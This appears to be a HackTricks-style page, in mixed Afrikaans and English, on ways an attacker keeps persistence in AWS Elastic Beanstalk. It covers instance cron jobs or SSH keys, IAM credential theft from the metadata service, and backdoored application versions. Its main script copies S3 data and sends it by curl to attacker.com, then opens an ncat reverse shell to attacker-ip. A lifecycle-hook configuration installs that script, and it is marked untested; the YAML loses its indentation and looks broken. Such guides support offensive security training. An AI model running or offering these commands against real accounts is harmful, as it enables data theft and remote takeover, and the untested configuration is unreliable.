# AWS - Elastic Beanstalk Persistence

{{#include ../../../../banners/hacktricks-training.md}}

## Elastic Beanstalk

Vir meer inligting, sien:

{{#ref}}
../../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}

### Persistence in Instance

Om persistence binne die AWS-account te handhaaf, kan 'n **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) geïnstalleer word, sodat die attacker toegang daartoe kan kry en die IAM role **credentials from the metadata service** kan steel.

### Backdoor in Version

Die attacker kan die code in die S3 repo backdoor sodat dit altyd sy backdoor en die verwagte code uitvoer.

### New backdoored version

In plaas daarvan om die code op die werklike version te verander, kan die attacker 'n nuwe backdoored version van die application deploy.

### Abusing Custom Resource Lifecycle Hooks

> [!NOTE]
> TODO: Test

Elastic Beanstalk verskaf lifecycle hooks wat jou toelaat om custom scripts tydens instance provisioning en termination te laat loop. Die attacker kan **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
```bash
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../../banners/hacktricks-training.md}}
